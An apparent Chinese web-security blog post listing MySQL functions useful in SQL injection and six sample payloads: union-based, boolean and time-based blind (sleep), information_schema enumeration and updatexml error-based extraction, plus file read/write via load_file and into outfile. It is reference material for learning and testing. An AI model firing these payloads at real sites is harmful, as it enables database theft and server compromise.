web安全

mysql注入方法逻辑运算及常用函数

2018-07-04  本文已影响0人  shadowflow
  • system_user() 系统用户名 select system_user()
  • user() 用户名 select user()
  • current_user() 当前用户名 select current_user()
  • session_user() 连接数据库的用户名 select session_user()
  • database() 数据库名 use security; select dadatabase()
  • version() 数据库版本 select version();
  • @@version 数据库版本
  • @@datadir 数据库路径
  • @@basedir 数据库安装路径
  • @@version_compile_os 操作系统
  • count() 返回执行结果数量
  • concat() 没有分割符地字符串 select concat(username,password) from users;
  • concat_ws() 含有分割符地连接字符串 select concat_ws(':', username, password) from users; select concat_ws(0x7e, username, password) from users;
  • group_concat() 连接一个组的所有字符串,并以逗号分隔每一条数据 select group_concat(username) from users;
  • load_file() 读取本地文件 select load_file('/tmp/mysql');
  • into outfile 写文件 select 'mysql' into outfile '/tmp/mysql'
  • ascii() 字符串的ASCII代码值
  • ord() 返回字符串第一个字符的ASCII值
  • mid() 返回一个字符串的一部分 select mid('mysql',1,1);
  • substr() 返回一个字符串的一部分 select substr('mysql',1,1);
  • length() 返回字符串的长度
  • left() 返回字符串最左边的几个字符 select left('mysql',2);
  • floor() 返回小于或等于x的最大整数 select floor(5.9);
  • rand() 返回0和1之间的一个随机数
  • extractvalue()
  • updatexml()
  • sleep()
  • if() select if(1>2,2,3);
  • char() 返回ASCII代码字符组成的字符串
  • strcmp 比较字符串 大1 ,小-1, =是0
  • ifnull() 假如参数1不为NULL,则返回值为参数1,否则返回值为参数2 select ifnull(1,2); select ifnull(null,2);
  • exp() 返回e的x次方 select exp(1);
mysql运算符.png

MySql逻辑运算

MySql注入语句样例分析:

1,  and 1=2 union select 1,2,3-- 

2,  select user() regexp '^ro'

3, ascii(substr((select user()),1,1))=114

4,  if(ascii(substr((select user()),1,1))=114,0,sleep(5))

5, (ascii(substr((select table_name from information_schema.tables where  
   table_schema=database() limit 0,1),1,1))=9) 

6, updatexml(1,concat(0x7e,(select @@version),0x73),1)
上一篇 下一篇

猜你喜欢

热点阅读